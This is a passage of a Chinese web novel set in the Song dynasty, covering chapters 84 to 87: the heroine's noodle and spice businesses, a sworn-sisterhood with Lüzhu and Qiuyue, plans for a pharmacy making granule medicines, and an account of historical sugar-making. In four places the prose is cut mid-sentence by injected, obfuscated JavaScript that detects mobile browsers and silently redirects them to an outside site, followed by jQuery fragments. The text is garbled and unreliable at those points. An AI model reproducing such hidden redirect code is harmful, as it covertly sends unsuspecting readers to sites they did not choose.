王文茵眨眨眼，语带珠玑：“我猜七衙内定是想将良铺先行租下，再以低价转租给你那位‘莫逆之交’，是也不是？” 文安世被噎住了，转身啃啃啃咳了起来，白净的脸涨得通红，眼睛看天看地就是不敢看王文茵。 庄宅牙人不明其因，拍着大腿艳羡道：“小的若是有七衙内这样的莫逆之交，夫复何求！” 文安世及时打断了庄宅牙人的马屁，“今日还有事，不如我们改日再约。” 庄宅牙人看了眼王文茵，脸上露出“我明白”的谄笑，叉手道：“既然衙内有事要忙，小的便先行退下，改日有空，衙内可随时传唤小的。”说完呲溜一下遁入小巷，不见了踪影。 文安世支开陈武阿萍，同王文茵走到僻静处，狼狈地笑了笑道：“既然你已猜到，那我便不隐瞒了，是，我想暗中先租下铺子，再委托庄宅牙人转租与你。并非是想替你承担租金，权因国子监食堂伙食实在太糟，为了自己的五脏六腑假公济私，不算过分吧？” 王文茵歪头想了想，点头，“不算过分，可以理解。” 文安世大喜，“那你是不反对我这么做了？” 王文茵却摇头：“反对！” 文安世有些泄气，“这又是为何？” “你选的店铺未必符合我的要求，冒然租下，我用着不合意，那是退好呢？还是不退好？” 文安世想了想，这话也在理，“你想要什么样的店铺把要求提给我，我去帮你找。” 王文茵看他一脸真诚的样子，想来国子监的食堂是真的很难吃，便同意了：“改日我将店铺的设计方案做好再托人转交给你。” 得到她的首肯，文安世心情大好，提议：“既然来了汴京，不如我带你四处走走？” “今日怕是不行，我还要去其余米粮商那儿协商技术转让的事。”王文茵笑道：“过阵子我会同阿萍她们一起来京城筹备摆米线摊的事，到时候再逛也来得及。” 文安世便不再勉强，双方就此别过，目送她们上马车离开。 陈武回到文安世身边，看了看远去的马车，再回头打量文安世，叹了一口气。 文安世目光始终追着马车离开的方向，头也不回道：“你叹什么气？” “七郎真的变了。” “此话怎讲？” “我也讲不清楚，反正就是变了。” 文安世勾了勾唇角，转身大踏步而去。 陈武愣在原地，他还以为文安世会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202589|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇追问他自己到底哪儿变了，不成想他居然一个字都没问，白瞎了自己装出来的深沉。 “七郎这是要去哪儿？” “回去三省吾身。”文安世抛下一句。 **** 待马车行远后，阿萍悄悄瞄了瞄从上车后一直沉默不语的王文茵，弱弱地问道：“小娘子是否怪我多嘴将白记的事告诉了七衙内？” 王文茵微不可闻叹了一口气，“七衙内是好心的，只是咱们不能去依赖他。” “为何不能？”阿萍赌气道：“七衙内不是小娘子的合伙人吗？你们一起投资开农场，你被人欺负不应该找他帮忙吗？” 王文茵失笑，“我被人欺负自己可以替自己出头，为何要找七衙内帮忙？” 阿萍无法反驳，小娘子确实能干，短短时间便将危机扭转，可她私心还是觉得有文家的大腿抱总比没有好。 “话虽如此，但总有小娘子自个儿无法解决的困难。” “这话没错，但也要分情况。我知道你心里怎么想的，文家有权有势，大树底下好乘凉。只是文家让咱们乘凉是一回事，咱们不能自己贴着上去要文家给咱们一片树荫，对不对？”王文茵语重心长道：“人首先应该学会自强自立，只有这样才能赢得他人的尊重。” 阿萍羞愧不已，低着头咬唇道：“我错了，小娘子的话我会记在心里。” 王文茵微笑着拍了拍阿萍的肩：“你已经比先前强干很多了，难道你不觉得这样更好吗？” 阿萍受到鼓舞，心情马上变好，笑逐颜开道：“我也要跟小娘子学习，变得更强，这样以后便可以帮助更多比我弱势之人。” **** 朱仙镇兴隆堂门口，赵元宁已经等候王文茵她们多时了。未时走完亲戚回到家中，门房便告知有位王小娘子来找过他，还留下了一封信。读完信后他便急着要赶回朱仙镇，家中长辈却不同意，若不是兄长赵元静出面说情，恐怕还脱不了身。 回朱仙镇前他先拐道去了蔗农那头，吩咐他们今日连夜收割甘蔗，明日一早便将所有甘蔗送往丰收村的米线作坊。蔗农本不情愿，大过年的谁不想好好歇几日，这才大年初二就着急忙慌下地干活，还让不让人好好过年了？ 赵元宁当即摸出一袋沉甸甸的银子，放在蔗农面前，慷慨道：“若是明日一早将甘蔗尽数送到丰收村米线作坊，我多付一倍银两，这里是定金，尾款明日收货后交付。” 在钞能力的驱动下，蔗农年也不过了，连夜摇人割甘蔗去了。 赵元宁想着自己左右也没事，不如先回朱仙镇，说不定还能碰上王文茵，问问她大过年的跑汴京跟米粮商谈什么合作。谁知，才刚回到朱仙镇的药铺就听守门的伙计说王小娘子的米线作坊被人坑了。 左等右等，终于在暮色降临城门关闭前一刻见到一辆马车缓缓驰来。 马车还没停稳，赵元宁便上前询问：“可是王小娘子回来了？” 王文茵掀开帘子探出头来，诧异道：“四郎君怎么在这儿？” “我在等小娘子你呀。”赵四郎面露焦色，“听说你们的米线作坊被白记米线坊坑了？” 王文茵看了看四周，街上已没什么行人，周围静悄悄的，便顿首道：“进去说。” 几人刚要进兴隆堂，身后传来一道婉转动听的声音：“王小娘子。” 王文茵回头去看，惊喜道：“绿珠姐姐，你怎么来了？” 85. 第八十五章 绿珠带着婢女秋月走上前来行礼，拉着王文茵的手笑道：“小娘子你今日一早便去了汴京城，我估摸着城门马上要关，你也应该回来了，便过来看看。”她指了指秋月手中的提篮，“肚子饿了吧？我给你带了点吃食。” 王文茵摸摸肚子，咽了咽口水撒娇道：“姐姐你比肚子里的蛔虫更懂我，我都快饿死了。”忽然想起站在一旁的赵元宁，便给两人做介绍，“姐姐，这位便是赵太医家的……” “赵四郎。”绿珠接口道，微微笑着朝赵元宁盈盈一福：“民女绿珠见过赵四郎。” 赵元宁十分吃惊，他并不认识绿珠，仔细打量她，发现她比自己年长一两岁的样子，生的窈窕妩媚，看穿着打扮并不像普通良家女子，疑惑又好奇道：“小娘子认识我？” 绿珠大概早就习惯了男人看她的眼光，拿起帕子掩嘴笑了笑，“赵四郎自然不认识奴家，奴家先前来药铺抓过药，曾见过赵四郎一面，是以便记住了。” 赵元宁十分不好意思，揉了揉鼻子尬笑，“每日来铺子里抓药的人甚多，我记得不太清，还望小娘子见谅。” 绿珠倒是不介意，大部分男人见到她都会用毫不掩饰直勾勾的眼神垂涎她的容颜，可这赵四郎却是个例外，即便那日见过一面，也未曾多看她一眼，可见是个心思纯良的干净男子。 “这有什么可怪罪的，奴家又不是金银珠宝，不是谁见了都要多看我两眼。”绿珠似嗔非嗔笑道。 赵元宁闻言更窘了，连忙拱手致歉：“是我有眼无珠，小娘子国色天香，怠慢了小娘子。” 绿珠噗嗤一笑，乐不可支道：“赵四郎当真是有趣之人。” 王文茵也忍不住笑了，“姐姐，你就别再逗趣赵四郎了，你看他窘得耳朵都红了。” 赵元宁被两个小娘子打趣也不生气，嘿嘿傻笑，“能让二位小娘子如此开怀，赵某也不是一无是处。” 绿珠多看了赵元宁一眼，心说，不管是真傻还是装傻，赵四郎的确是个不错的人。 “绿珠姐姐，咱们进去边吃边聊，我都快饿死了。”王文茵摇了摇绿珠的手。 绿珠亲昵地刮了一下王文茵的鼻子，“好，我带了好多吃的，你可别吃不完。” “放心吧，王小娘子吃不完，还有我呢。”赵元宁自告奋勇。 绿珠同王文茵相视一眼，忍俊不禁。 **** 绿珠的婢女秋月将提篮内的碗碟一只只摆放到餐桌上，每摆放一只碟子，王文茵同赵元宁的眼睛就瞪大一分，直到将整张餐桌摆得满满当当，中间还架起了一只小酒炉，上面搁着一只砂锅，待炉子烧热后砂锅内发出“咕嘟咕嘟”的声响，十分诱人。 “也不知道阿茵妹妹你爱吃什么，便随便做了一些。”绿珠细心地为王文茵他们布置餐具。 “这还叫随便做了一点？”王文茵指着餐桌上摆放的碟子逐一细数：“蜜浮酥奈花，春水生，碧涧豆儿糕，琼叶糕，大耐糕，冰酪，素醒酒冰，软酪，酥油鲍螺，桂花酥酪，樱桃煎，玉糁羹，山海兜，酥黄独，蟹酿橙……绿珠姐姐你不止医术高明，连厨艺也是出神入化啊！”【注1】 绿珠掩嘴咯咯笑，“阿茵妹妹你误会了，这些吃食可不是我做的。”她指了指身旁的婢女秋月：“这些都是出自秋月姐姐之手。” 王文茵肃然起敬：“秋月姐姐这手艺跟宫里的尚食娘子比也不逞多让。” “不瞒阿茵妹妹，秋月姐姐的先祖曾在宫中做过御厨，后因获罪被流放，全家贬为贱籍。五年前，我同义父行走江湖时在江南遇到了她，彼时秋月姐姐为了给她娘亲治病，自愿卖身为奴。义父被她的孝心感动免费替她娘亲诊治，只可惜姐姐的娘得的是不治之症，没过多久便去世了。“ “自那以后，秋月姐姐便一路跟着我们，她说她早已无亲无故，她娘亲生前做过厨娘，她也同她娘亲一样有着一手好厨艺，跟着我们还能照顾饮食起居。义父觉得她跟我同病相怜，便让我们以姐妹相称，互相扶持至今。” 王文茵跟挖到宝似的兴奋不已，腾地站起来拉着秋月的手道：“秋月姐姐你这厨艺可不能浪费了，若是开班授课必能名满天下。” 秋月被她夸得不好意思起来，脸刷一下就红了，“小娘子高看我了，我的厨艺别说开班授课，只怕是去大户人家做厨娘也不见得有人肯雇我，这汴京城内最不缺的便是手艺高超的厨娘。” 王文茵看了一眼桌上的点心，思忖道：“若是拿这些市面上已有的点心吃食去同其他厨娘比拼，确实难分伯仲，但若是独辟蹊径，自己开发一些新鲜吃食，那你定能一举成名。” 秋月立马想到了，“小娘子说的可是李记的米线？” “秋月姐姐也吃过我家的米线？”阿萍惊喜道。 秋月这才认出阿萍来，笑道：“是我有眼不识泰山，竟没认出李记米线的老板娘。” 阿萍不好意思摆了摆手，“姐姐，我只是李记米线的挂名老板娘，真正的老板其实是我们小娘子。” 秋月跟绿珠惊讶不已，“原来不止兴隆堂，连李记都是小娘子的产业？” “这事儿说来有些话长，待有时间我再给两位姐姐讲讲这两间铺子的由来。”王文茵嘿嘿笑道。 绿珠建议：“不如大家一起坐下来，我们边吃边聊？” 几人陆续入座。 秋月上前将砂锅盖子打开，一团白色的水蒸气伴着一股子鲜香的味道便蹿了出来。她给王文茵、赵元宁和阿萍各盛了一碗汤羹，“小娘子、阿萍妹妹、四郎君，你们赶紧先趁热尝尝这碗鱼羹，凉了就不好吃了。” 王文茵拿起调羹舀了一汤匙鱼羹喝了一口，细细品味，猛地抬起头来问道：“秋月姐姐本家可姓宋？” 这下不止秋月，连绿珠都惊了，“阿茵妹妹如何得知秋月姐姐本家姓宋？” 王文茵心说，我不知道呀，我瞎猜的，后世流传最广的北宋名菜除了东坡肉，还有宋嫂鱼羹。 “嘿嘿，我瞎猜的。”王文茵杜撰道：“我是在金陵出生长大的，听闻早些年江南有位姓宋的厨娘做了一道鱼羹极为鲜美，被饕客命名为‘宋嫂鱼羹’，并广为传颂，不知跟秋月姐姐这道鱼羹可有相似之处？” “那便是我娘。”秋月被触动了伤心事，眼圈泛红，哽咽道：“我娘生前曾在钱塘江边摆摊卖鱼羹，有一年一位姓苏的大人路过钱塘江吃了一碗我娘做的鱼羹后便赞不绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221023|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，称其为‘宋嫂鱼羹’。此后我娘的鱼羹在江南名声大噪，经常有人慕名而来，却也引来了祸水。“ “当时，临安有家正店的老板听闻我家祖上是御厨，便想从我娘手中买下鱼羹的方子，被我娘严词拒绝了。这些菜肴都是我家祖上传下来的食谱，岂能随便卖掉，于是此人便设局以食物投毒之名将我娘打入监牢。为了解救我娘，我变卖了全部财产，好不容易才将我娘从监牢里赎了出来。可我娘还是在阴湿的牢狱里得了痨病，后虽经陈太医医治，却终究回天无力……” 回首往事，秋月泣不成声。 “岂有此理！”赵元宁一巴掌拍在桌子上，郁愤填膺：“究竟是哪家正店的老板竟如此无法无天！秋月姐姐若是同意，我愿帮姐姐将此人状告至开封府。” 绿珠拿出帕子替秋月揩去泪珠，轻轻拍了拍她的背，叹气：“此人乃是前任钱塘县县令之兄，是当地一霸，即便上告到开封府，怕是也鞭长莫及。” “钱塘县县令三年一换，若是秋月姐姐有确凿证据，将此人告到开封府未尝不可。”王文茵道。 “多谢小娘子、赵四郎仗义执言。此事过去已久，我那时候尚且年幼，并未留下确凿证据，便是想告也无能为力。”秋月擦干泪水，朝王文茵、赵元宁行了一礼。 王文茵上前安慰秋月：“姐姐不必难过，君子报仇十年不晚，即便眼下治不了此等恶人，将来我们一起为姐姐报仇。” 赵元宁也拍着胸脯表态：“算我一个，将来我们一起为秋月姐姐报仇！” 秋月感激涕零：“我何德何能，一个无父无母的贱籍女子，值得小娘子、四郎君如此待我。” “姐姐，你可别看轻自己，无人能选择自己的出身，但你却可以靠自己改变人生。”王文茵鼓励秋月：“我亦同两位姐姐一般无父无母无依靠，我们可以互帮互助，自强不息，谁让我们都是朋友呢。” “何谓朋友？”秋月不解。 “哦，那个，朋友就是莫逆之交的意思。”王文茵找补道。 绿珠咯咯笑，“阿茵妹妹说话就是有趣，唔‘朋友’这个词我喜欢，以后我们大家都是朋友。” “不如我们义结金兰吧？”王文茵兴致勃勃提议。 “好呀！”绿珠捂掌：“拜完把子，今后咱们就是金兰姐妹了。” 一旁的赵元宁急了，“那我呢？你们拜把子可别把我忘了。” 几个小娘子笑作一团，王文茵笑着问他：“我们姐妹义结金兰，赵四郎莫非是想同我们做姐妹？” 赵元宁不好意思挠挠头，“那我就同你们做朋友吧。” 在赵元宁、阿萍、张二嫂、鲁大他们的见证下，三人将各自的生辰八字同本家姓名都写在了金兰谱上，对月结拜，互相交换金兰谱。三人中，秋月十七是大姐，绿珠十六为二姐，王文茵刚满十一，是最小的三妹。 绿珠牵起王文茵同秋月的手，三人异口同声道：“自结拜之日起民女绿珠、民女文茵、民女秋月便是同甘共苦、情投意合、义结金兰的异姓姐妹了。” 仪式完成后，王文茵打开金兰谱微微一愕，谱上写着绿珠原名宇文柔奴，这个名字似乎在哪里听说过。【注2】 86. 第八十六章 王文茵将自己随祖母来京寻亲，不幸感染时疫，祖母因病离世后，她们姐弟被姑母遗弃在静缘庵。为了活下去她便带着福田院里的流民，从一碗米粉开始创业的故事娓娓讲述给绿珠和秋月听。 “起初我们是用以物易物的方式跟丰收村的村民做交易，赚个差价，盈利有限，能养得起的员工也只有少数几位，张二嫂、阿萍她们便是最早的创始团队成员。静缘庵作为福田院收留了不少老弱病残鳏寡孤独之人，大家都想有口饱饭吃，是以为了增加米线作坊的收入，我便决定将业务范围拓展到朱仙镇，岂知来朱仙镇的第一日便与樊楼范家的小娘子结了梁子。”王文茵笑眯眯看了赵元宁一眼：“还是多亏赵四郎仗义执言才得以摆脱。” 绿珠用欣赏的目光看向赵元宁，把赵元宁看得很不好意思，脸一红，眼睛都不知道该往哪儿放了。 “难怪白记米线坊要针对你们，听闻白记背后的老板白起正是樊楼范家大娘子的妻弟。”绿珠忿忿不平。 “那是后话，我也不清楚白记针对我们是否同范小娘子有关。”王文茵摇了摇头道：“从朱仙镇回来后，我便改造了米线作坊的生产工艺，将原先不易运输存储的鲜米粉改制为干米线。为了推销我们自己生产的干米线，我又让阿萍他们一家来朱仙镇摆摊卖米线。米线较之寻常所见的汤饼更爽口弹牙，加上市面上还无人知晓干米线的制作工艺，于是我们的米线作坊便顺利同朱仙镇上的米粮商签了不少订单。” “为了增加干米线的产量，我又投资修建了新的米线加工作坊，鲁大他们这些流落到丰收村的外来户如今都成了米线作坊的生产主力。”王文茵轻描淡写将鲁大他们偷米线被抓最后成了米线作坊员工一事一笔带过。 鲁大自己却嗫喏道：“说来惭愧，当时我娘子刚生下孩儿，实在太饿，孩子没奶水，我……我便去静缘庵偷了小娘子的米线……小娘子非但没怪罪，还让我将功补过。小娘子同文家七衙内一道出资为我们建造可遮风避雨的茅草屋，帮助我们开垦荒地，兴修水渠，还给了我们大家一份能养家糊口的工作，我真不知道该如何感激小娘子。” 鲁大说着说着又要下跪磕头，联想到王小娘子说过不喜欢人下跪，马上又打直了膝盖，尬笑道：“我们小娘子说做人要挺直脊梁，不能动不动就给人下跪。” 绿珠忍俊不禁，竖起大拇指点赞：“小娘子说得对！做人就是得有骨气。”她眼睛看向赵元宁，好奇道：“不知道阿茵妹妹同赵四郎又怎会合伙做起了香料买卖？” “说来也巧。”王文茵抿嘴笑道：“那日我同赵四郎偶遇后去药铺买香料，想顺便再帮阿萍她娘寻医问药，谁知药铺掌柜竟是四郎君。四郎君听闻阿萍她娘长年卧病在床，便提议去静缘庵帮她义诊，为了感谢四郎君，我便请他吃了用自制香料调制的原汤肉丝米粉。” 赵元宁至今仍对当时那碗原汤肉丝米粉念念不忘，“小娘子做的那碗米粉是我生平吃过最鲜香浓郁、弹牙爽滑的美味了。其中的灵魂肉丝原汤竟只是用一些由寻常香料调制而成的十三香增香提鲜，以我吃货的敏锐嗅觉，这十三香必能风靡汴京城。于是我便同她提议合伙开香料铺子，岂知小娘子不但善于调制香料，还会做香膏、香饼、香油、香皂之类的洗漱用品。” 绿珠又惊又喜，“想不到这些深受娘子们好评的香皂、香油、香膏、香饼竟然都是阿茵妹妹研制出来的！我这是捡到宝了，误打误撞同妹妹这般人才义结了金兰。” 王文茵脸一红，羞赧道：“姐姐，这些香皂之类的洗漱用品不是我自个儿研制出来的，是我从……呃……其他地方学来的，现学现卖而已，可不敢掠美。” “甭管是从哪儿学来的，妹妹你可是做了件好事。旁的都还好说，就这香皂洗发水可真是太好使了。你是不知勾栏里的女子经常会遇到脏兮兮臭烘烘的男人，有了这些洗漱清洁用品可算是救了她们的命了。”绿珠一脸嫌弃道。 赵元宁面露局促，他虽对烟花之地的女子没什么偏见，平常也从不踏足声色犬马的场所，可听绿珠谈起这些勾栏瓦舍之地的风流韵事，多少会感到有些尴尬。 眼角余稍注意到赵元宁的反应，绿珠轻哼一声：“赵四郎这是嫌弃我们勾栏女子呢。” 赵元宁吓一跳，惊惶摆手解释：“绿珠姐姐误会了，我并无任何轻视勾栏女子的想法，我……我只是……只是从未涉足过……”他窘迫得抓耳挠腮、不知所措。 绿珠见状噗呲一笑，撇嘴道：“逗你玩的，看你这样也不像出入烟花之地的人。” “姐姐既早已脱离贱籍，为何还留在勾栏卖唱？”王文茵道出了心里的疑惑，“勾栏之地难免遇到轻薄怠慢之人，姐姐孤身一人怕是不好应付。” “妹妹你有所不知，绿珠她是为了替人诊病才留在勾栏卖唱的。”秋月叹气：“勾栏之地并非人人皆是名角儿，烟花柳巷多的是苦命女子。这些苦命女子若是得了隐疾无处寻医问诊，只能偷偷找人开几贴药吃，若治不好便只能等死。” 王文茵不解地看向赵元宁，“难道药铺不接待勾栏女子？” 赵元宁面有愧色，嗫喏道：“并非不接待勾栏女子，只是大部分药铺坐诊的大夫皆为男子，女子学医本来就少，专攻妇产科的男大夫更是凤毛麟角。若是高门大户的娘子得了隐疾，自有太医院的专科大夫上门诊治，可寻常药铺坐诊的基本只有全科大夫，并不专精妇产科，对一些妇人的隐疾更是无从下手，是以……” “四郎君所言非虚。”绿珠柔声道：“从我被叔父卖入勾栏之日起，便见过无数底层妇人身患隐疾后无药可治痛苦致死的惨像，是以跟随义父学医之初我便决心专攻妇产科。留在勾栏卖唱，一则是方便为勾栏女子看病，另一则是为了赚取银两。贫寒妇人哪怕是良家出身，得了隐疾宁可哑忍也舍不得花钱诊治，我定期会为她们出义诊，平日里再让秋月采购一些草药，自己配制药方便能为她们省下不少银两，减少因病致死的女子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227035|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王文茵闻言激动不已，一把握住绿珠的手，“太好了，姐姐，我同赵四郎正打算合伙投资一家药社，不如姐姐同我们一起合作如何？” “是啊，先头小娘子，哦不，是阿茵妹子自制了‘感冒灵颗粒冲剂’，我特地拿给兄长去试药，疗效非常好，我们正打算批量投产呢。”赵元宁接口道。 “咦，四郎君，你怎么改口叫我们小娘子阿茵妹子了？”阿萍傻傻问道。 赵元宁挠头嘿嘿笑道：“这不是因为我们都是朋友嘛，绿珠姐姐也是这么唤小娘子的，所以我也……咳这样叫更亲切不是吗？” 绿珠故意板起脸道：“我同阿茵妹妹乃是金兰姐妹，你可是男子，男女授受不亲。” 赵元宁赶紧拱手致歉：“是我僭越了，还望小娘子勿怪。” 绿珠同王文茵互视一眼，突然爆发出一阵哄笑。 绿珠笑得眼泪都出来了，用手指点了点赵元宁，“你呀你，我说什么你都当真，也太好骗了吧。” 赵元宁也不恼，一个劲嘿嘿傻笑。 绿珠多看了他两眼，心下觉得这个赵四郎傻得可爱，同她以往见过的男子全然不同，难得是个靠谱又实诚的人，难怪阿茵妹妹会同他合伙做香料买卖。 “阿茵说的这个‘药社’具体是做什么的？”绿珠问。 王文茵让张二嫂将她经常用来给大家讲解的黑板子拿出来，边画边讲解她在丰收村投资的生态农场运作模式。 “我们的生态农场分为种植、养殖、有机肥料堆肥发酵、和农产品加工四大模块，按照这个布局我们可以复制一个生态药社，跟生态农场不同的是，生态药社的核心是熟药的加工制作，‘感冒灵颗粒冲剂’便是我们主打的其中一味熟药。” 说到这里，赵元宁将他从隔壁药铺里拿来的一包“感冒灵颗粒冲剂”倒入瓷碗中，再注入热水，搅拌均匀后分成两小杯递给绿珠跟秋月。 绿珠将冒着热气的茶杯放到鼻端嗅了嗅，“闻着确实有股药味，只是不像寻常的中药那般苦涩。” “你尝一口试试。”赵元宁提议。 绿珠就着茶碗抿了一小口，眼一亮，惊讶道：“竟是甜的！” 赵元宁笑着点头。 秋月见状捧起茶碗饮了一大口，舔舔舌头，“好喝！一点都不苦，这哪是药，分明就是饮子。”说完她顿顿顿将一茶碗感冒灵冲剂全喝干了。 绿珠嗔道：“这可是药，你怎地全喝下去了。” “没事，这包感冒灵颗粒冲剂的药方是由我兄长重新调制的，比寻常一剂药的药性要略低一些。若是患者得了伤风感冒发烧之类的小病，一日三包，连喝两三日便能好全。换季降温时喝一杯还有预防作用，不会有太大的副作用。”赵元宁道。 绿珠沉思片刻，忽然抬头道：“若是感冒药可以做成此类颗粒冲剂，是否意味着其他药也能制成熟药？” 王文茵拍手笑道：“这便是我们的生态药社主攻的方向！” 87. 第八十七章 王文茵掰着手指头细数她想得起来的，后世比较常见的可作为家中常备药物的熟药。“除了感冒灵颗粒冲剂外，药社还可以研发治疗清热宣肺、化痰止咳的川贝枇杷膏；用来调理月信葵水、活血化瘀、调经止痛的益母草颗粒冲剂；用于治疗风热牙痛以及痈肿疮疖等症状的金银花颗粒冲剂……”【注1】 绿珠目瞪口呆，“阿茵妹妹也曾学过医？” 赵元宁自然知道王文茵报的这些熟药都是从后世学来的，怕她露馅，连忙替她打掩护，道：“这些熟药应该都是阿茵妹妹从她祖父留下的笔记上学来的。” 绿珠似笑非笑撇嘴：“赵四郎怎地对阿茵妹妹的事如此了解？” “这个……是阿茵妹妹先前告诉我的。”赵元宁转头冲王文茵眨眨眼，暗示她别说漏了嘴，“是吧？” 虽然同绿珠她们是金兰姐妹，不过王文茵想起苏轼告诫她的话，便没否认，含糊其辞道：“这些熟药都是祖父从一位游医那儿记下来的配方，也是寻常病症常用的药方，制成颗粒冲剂不仅服用简单，还能随身携带，可谓是居家旅行、行军打仗必备之良药。” 绿珠露出原来如此的表情，心说阿茵的祖父必定也是位世外高人，不然他孙女怎会懂这么多东西。 “这些配方好是好，服用起来口感甜甜的，连厌恶喝药的孩子都不会抗拒，唯一的问题是配方中需用到大量的‘糖’。”绿珠犯愁道：“糖可是精贵的调料，我们从哪里去弄这么多糖来？” 王文茵同赵元宁相视一笑，“待明日去了丰收村姐姐便知道从哪里能弄到大量的糖了。” **** 翌日一早，王文茵带着绿珠、秋月她们一道儿坐马车回丰收村。赵元宁要去跟蔗农交接，便带着鲁大先她们一步骑马走了。 待王文茵她们回到丰收村村口，入目所及便是蔗农们推着一辆又一辆轱辘车，沿着丰收村前唯一的一条土路将甘蔗送往位于山脚下的米线作坊内的场景。 “这里怎么会有这么多甘蔗？”秋月掀开马车帘子朝外探头望去。 绿珠闻言也抬眼朝外看去，回头问道：“莫非阿茵妹妹打算自己生产制作‘糖’？” 王文茵含笑点头：“姐姐猜得没错。” 绿珠不敢置信，“听闻这制糖工艺可是绝密，只有八闽福建路的福唐、姑苏江南东路的四明、百越广南路的番禺、西蜀四川路的广汉、遂宁等地的少数人才掌握此技术，阿茵是从何而得知？”【注2】 “我是从书上看来的。”王文茵指的自然是后世的书，“据悉战国时期中华大地的南方便出现了甘蔗，到了唐朝甘蔗这种农作物已在多地区有种植，但制糖技术却是在唐太宗时期由摩揭陀王国（古代中印度王国）传入的“熬糖法”转变而来。”【注2】 “到了我朝能种植甘蔗的地区虽然多，但掌握‘结蔗为霜’制糖技术的却仅限于福唐、四明、番禺、及广汉、遂宁五个地方。前四个地方的糖霜产量较小，品质也较逊色，是以只有遂宁一地才是糖霜的主要产地。只是即便是在遂宁也不是每家每户都能制作优质的糖霜。”【注2】 “在遂宁的伞山周围，制糖的‘糖霜户’便有几百家，当中仅有少数能出品优等糖霜，其余只能出产中下等货品。当地虽有众多甘蔗田，但制糖技术却只掌握在少数几家制糖坊手中，蔗农也只能将甘蔗榨成糖水贩卖给制糖坊赚取原料费。是以我朝市面上的糖霜因稀缺才导致价格居高不下。”【注2】 “此外，我朝种植的甘蔗大体可分为杜蔗、西蔗、艻蔗（又名荻蔗）、红蔗（又名昆仑蔗）这四类，红蔗只适合生啖，艻蔗可用来制作沙糖，西蔗虽可做糖霜，成品色泽却不佳，唯独紫皮杜蔗是制作糖霜的最佳品种。”【注2】 听到这里秋月忍不住插嘴问道：“原来这沙糖与糖霜竟是用两种不同的甘蔗所制而成？” 王文茵嗯了一声：“沙糖即熬造浆式糖，唐朝人雅称‘蔗浆’，是将甘蔗挤压取汁后于大锅内用温火通过‘煎熬法’熬煮成黑枣合色，再将其中的糖蜜分离澄清后的一种‘液态糖’。八闽福建路的福唐便是沙糖的主要产地。”【注2】 “而糖霜的制作技术则是由一位唐代高僧‘邹和尚’所发明。据传邹和尚学识渊博，热衷研究技术，喜欢到处游山玩水。唐代宗年间他游历四方到了遂宁城北三十里的伞山，见当地虽盛产甘蔗，制糖技术却十分落后，蔗农只能靠暴晒获取石蜜（质量很差的沙糖）。于是便潜心研究，反复实验，最终发明了一整套窨制糖霜（冰糖）的技术，推动了当地制糖业的发展，使遂宁糖霜闻名天下，家喻户晓。”【注2】 绿珠边听边打量王文茵，回想起二人第一次见面时的场景，彼时只觉这女娃气质非凡，绝不是寻常人家的小娘子，后得知她竟是兴隆堂的幕后老板时，惊讶之余又觉得本应如此。只是心里一直好奇她究竟出生于什么样的人家，见她不愿细说，便也没再追问。 “想不到妹妹小小年纪，竟如此博学，今后姐姐可要向你好好学习了。”绿珠由衷道。 王文茵脸一红，嗔道：“姐姐你可别笑话我了，我也只懂一点皮毛而已。” “不，我说真的。妹妹你上次教我的那个产钳，身为大夫的我竟从未听过也未曾见过，实在惭愧。” “这不能怪姐姐，因为这不是这个朝代……”王文茵顿了顿，道：“恕我现在还不能告知这背后的详情，等将来有机会我再同姐姐解释。” 绿珠理解地笑了笑，轻轻捏了捏王文茵的手，“妹妹不必介怀，你的顾虑我都懂。” 绿珠猜测王文茵可能同她一样是犯事下狱官员的后人，不便道出自己的身世。 王文茵只能将错就错，顺水推舟感激道：“多谢姐姐理解。” **** 赵元宁此刻正站在米线作坊门口眺望，见王文茵她们乘坐的马车到了村口，便跑过来告知：“这会子蔗农正在卸甘蔗，作坊的院门口已经堵住了，几位小娘子不如先去别处转转，待会儿卸完货我再来唤你们。” 王文茵想了想，提议道：“不如我先带两位姐姐去生态农场转转？” “好呀，我正好奇妹妹的农场究竟长什么样呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231098|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 